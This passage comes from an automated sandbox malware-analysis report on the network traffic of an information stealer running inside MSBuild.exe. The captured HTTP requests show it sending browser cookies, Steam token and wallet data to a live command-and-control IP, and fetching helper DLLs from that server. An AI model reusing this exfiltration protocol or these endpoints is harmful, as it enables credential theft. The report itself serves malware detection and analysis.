Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDHJJJECFIECBGDGCAAHost: 46.8.231.109Content-Length: 5739Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIIIIJKFCAAECAKFIEHCHost: 46.8.231.109Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 66 39 35 66 62 36 62 66 30 38 35 33 37 66 37 36 38 37 32 64 32 64 30 39 61 64 65 38 63 61 62 61 30 37 38 61 66 38 65 30 61 35 62 64 62 66 63 65 63 31 39 35 35 31 63 35 38 37 66 61 31 36 66 37 36 61 61 31 33 38 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4d 54 45 32 4d 54 55 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 51 74 4d 54 4d 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 4d 77 4f 44 45 31 43 55 35 4a 52 41 6b 31 4d 54 45 39 52 57 59 31 64 6c 42 47 52 33 63 74 54 56 70 5a 62 7a 56 6f 64 32 55 74 4d 46 52 6f 51 56 5a 7a 62 47 4a 34 59 6d 31 32 5a 46 5a 61 64 32 4e 49 62 6e 46 57 65 6c 64 49 51 56 55 78 4e 48 59 31 4d 30 31 4f 4d 56 5a 32 64 33 5a 52 63 54 68 69 59 56 6c 6d 5a 7a 49 74 53 55 46 30 63 56 70 43 56 6a 56 4f 54 30 77 31 63 6e 5a 71 4d 6b 35 58 53 58 46 79 65 6a 4d 33 4e 31 56 6f 54 47 52 49 64 45 39 6e 52 53 31 30 53 6d 46 43 62 46 56 43 57 55 70 46 61 48 56 48 63 31 46 6b 63 57 35 70 4d 32 39 55 53 6d 63 77 59 6e 4a 78 64 6a 46 6b 61 6d 52 70 54 45 70 35 64 6c 52 54 56 57 68 6b 53 79 31 6a 4e 55 70 58 59 57 52 44 55 33 4e 56 54 46 42 4d 65 6d 68 54 65 43 31 47 4c 54 5a 33 54 32 63 30 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 43 2d 2d 0d 0a Data Ascii: ------FIIIIJKFCAAECAKFIEHCContent-Disposition: form-data; name="token"97f95fb6bf08537f76872d2d09ade8caba078af8e0a5bdbfcec19551c587fa16f76aa138------FIIIIJKFCAAECAKFIEHCContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------FIIIIJKFCAAECAKFIEHCContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym1
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGDAAFIIJDAAAAKFHIDHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 66 39 35 66 62 36 62 66 30 38 35 33 37 66 37 36 38 37 32 64 32 64 30 39 61 64 65 38 63 61 62 61 30 37 38 61 66 38 65 30 61 35 62 64 62 66 63 65 63 31 39 35 35 31 63 35 38 37 66 61 31 36 66 37 36 61 61 31 33 38 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 2d 2d 0d 0a Data Ascii: ------ECGDAAFIIJDAAAAKFHIDContent-Disposition: form-data; name="token"97f95fb6bf08537f76872d2d09ade8caba078af8e0a5bdbfcec19551c587fa16f76aa138------ECGDAAFIIJDAAAAKFHIDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECGDAAFIIJDAAAAKFHIDContent-Disposition: form-data; name="file"------ECGDAAFIIJDAAAAKFHID--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGDGHCBGDHJJKECAECBHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 66 39 35 66 62 36 62 66 30 38 35 33 37 66 37 36 38 37 32 64 32 64 30 39 61 64 65 38 63 61 62 61 30 37 38 61 66 38 65 30 61 35 62 64 62 66 63 65 63 31 39 35 35 31 63 35 38 37 66 61 31 36 66 37 36 61 61 31 33 38 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 2d 2d 0d 0a Data Ascii: ------GCGDGHCBGDHJJKECAECBContent-Disposition: form-data; name="token"97f95fb6bf08537f76872d2d09ade8caba078af8e0a5bdbfcec19551c587fa16f76aa138------GCGDGHCBGDHJJKECAECBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GCGDGHCBGDHJJKECAECBContent-Disposition: form-data; name="file"------GCGDGHCBGDHJJKECAECB--
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCGIJDBAFCBAAKECGDGCHost: 46.8.231.109Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJDAFBKFIECBGCAKECGHost: 46.8.231.109Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 4b 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 66 39 35 66 62 36 62 66 30 38 35 33 37 66 37 36 38 37 32 64 32 64 30 39 61 64 65 38 63 61 62 61 30 37 38 61 66 38 65 30 61 35 62 64 62 66 63 65 63 31 39 35 35 31 63 35 38 37 66 61 31 36 66 37 36 61 61 31 33 38 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 4b 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 4b 45 43 47 2d 2d 0d 0a Data Ascii: ------GIJDAFBKFIECBGCAKECGContent-Disposition: form-data; name="token"97f95fb6bf08537f76872d2d09ade8caba078af8e0a5bdbfcec19551c587fa16f76aa138------GIJDAFBKFIECBGCAKECGContent-Disposition: form-data; name="message"wallets------GIJDAFBKFIECBGCAKECG--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDGCGCFHIEHIDGDBAAEHost: 46.8.231.109Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 66 39 35 66 62 36 62 66 30 38 35 33 37 66 37 36 38 37 32 64 32 64 30 39 61 64 65 38 63 61 62 61 30 37 38 61 66 38 65 30 61 35 62 64 62 66 63 65 63 31 39 35 35 31 63 35 38 37 66 61 31 36 66 37 36 61 61 31 33 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 2d 2d 0d 0a Data Ascii: ------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="token"97f95fb6bf08537f76872d2d09ade8caba078af8e0a5bdbfcec19551c587fa16f76aa138------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="message"files------EGDGCGCFHIEHIDGDBAAE--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIJJJEBGCFBGDHIDGCAHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 4a 4a 4a 45 42 47 43 46 42 47 44 48 49 44 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 66 39 35 66 62 36 62 66 30 38 35 33 37 66 37 36 38 37 32 64 32 64 30 39 61 64 65 38 63 61 62 61 30 37 38 61 66 38 65 30 61 35 62 64 62 66 63 65 63 31 39 35 35 31 63 35 38 37 66 61 31 36 66 37 36 61 61 31 33 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 4a 4a 45 42 47 43 46 42 47 44 48 49 44 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 4a 4a 45 42 47 43 46 42 47 44 48 49 44 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 4a 4a 45 42 47 43 46 42 47 44 48 49 44 47 43 41 2d 2d 0d 0a Data Ascii: ------KFIJJJEBGCFBGDHIDGCAContent-Disposition: form-data; name="token"97f95fb6bf08537f76872d2d09ade8caba078af8e0a5bdbfcec19551c587fa16f76aa138------KFIJJJEBGCFBGDHIDGCAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KFIJJJEBGCFBGDHIDGCAContent-Disposition: form-data; name="file"------KFIJJJEBGCFBGDHIDGCA--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGIJJDGCBKFIDHIEBKEHost: 46.8.231.109Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 66 39 35 66 62 36 62 66 30 38 35 33 37 66 37 36 38 37 32 64 32 64 30 39 61 64 65 38 63 61 62 61 30 37 38 61 66 38 65 30 61 35 62 64 62 66 63 65 63 31 39 35 35 31 63 35 38 37 66 61 31 36 66 37 36 61 61 31 33 38 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 2d 2d 0d 0a Data Ascii: ------HDGIJJDGCBKFIDHIEBKEContent-Disposition: form-data; name="token"97f95fb6bf08537f76872d2d09ade8caba078af8e0a5bdbfcec19551c587fa16f76aa138------HDGIJJDGCBKFIDHIEBKEContent-Disposition: form-data; name="message"ybncbhylepme------HDGIJJDGCBKFIDHIEBKE--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJKJDAKEHJDGDGDGHIDHost: 46.8.231.109Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 4b 4a 44 41 4b 45 48 4a 44 47 44 47 44 47 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 66 39 35 66 62 36 62 66 30 38 35 33 37 66 37 36 38 37 32 64 32 64 30 39 61 64 65 38 63 61 62 61 30 37 38 61 66 38 65 30 61 35 62 64 62 66 63 65 63 31 39 35 35 31 63 35 38 37 66 61 31 36 66 37 36 61 61 31 33 38 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 4a 44 41 4b 45 48 4a 44 47 44 47 44 47 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 4a 44 41 4b 45 48 4a 44 47 44 47 44 47 48 49 44 2d 2d 0d 0a Data Ascii: ------GHJKJDAKEHJDGDGDGHIDContent-Disposition: form-data; name="token"97f95fb6bf08537f76872d2d09ade8caba078af8e0a5bdbfcec19551c587fa16f76aa138------GHJKJDAKEHJDGDGDGHIDContent-Disposition: form-data; name="message"wkkjqaiaxkhb------GHJKJDAKEHJDGDGDGHID--

Source: Joe Sandbox View

IP Address: 46.8.231.109 46.8.231.109

Source: Joe Sandbox View

ASN Name: FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic

Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49704 -> 46.8.231.109:80

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_00404880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlenA,lstrlenA,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

2_2_00404880

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 46.8.231.109Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGDGHCBGDHJJKECAECBHost: 46.8.231.109Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 41 34 32 35 38 44 32 31 31 42 35 32 37 33 30 30 35 37 33 32 35 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 2d 2d 0d 0a Data Ascii: ------GCGDGHCBGDHJJKECAECBContent-Disposition: form-data; name="hwid"EA4258D211B52730057325------GCGDGHCBGDHJJKECAECBContent-Disposition: form-data; name="build"default------GCGDGHCBGDHJJKECAECB--

Source: MSBuild.exe, 00000002.00000002.2473207536.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109
Source: MSBuild.exe, 00000002.00000002.2473207536.0000000001436000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/
Source: MSBuild.exe, 00000002.00000002.2473207536.0000000001436000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/freebl3.dll
Source: MSBuild.exe, 00000002.00000002.2473207536.0000000001436000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll
Source: MSBuild.exe, 00000002.00000002.2473207536.0000000001436000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/mozglue.dlltfB
Source: MSBuild.exe, 00000002.00000002.2473207536.0000000001436000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dllRg
Source: MSBuild.exe, 00000002.00000002.2473207536.0000000001436000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dllffP
Source: MSBuild.exe, 00000002.00000002.2473207536.00000000013F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/nss3.dllB
Source: MSBuild.exe, 00000002.00000002.2473207536.00000000013F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/nss3.dllM
Source: MSBuild.exe, 00000002.00000002.2473207536.0000000001436000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll
Source: MSBuild.exe, 00000002.00000002.2473207536.0000000001436000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll2f
Source: MSBuild.exe, 00000002.00000002.2473207536.0000000001436000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dll
Source: MSBuild.exe, 00000002.00000002.2473207536.0000000001436000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dllNgH
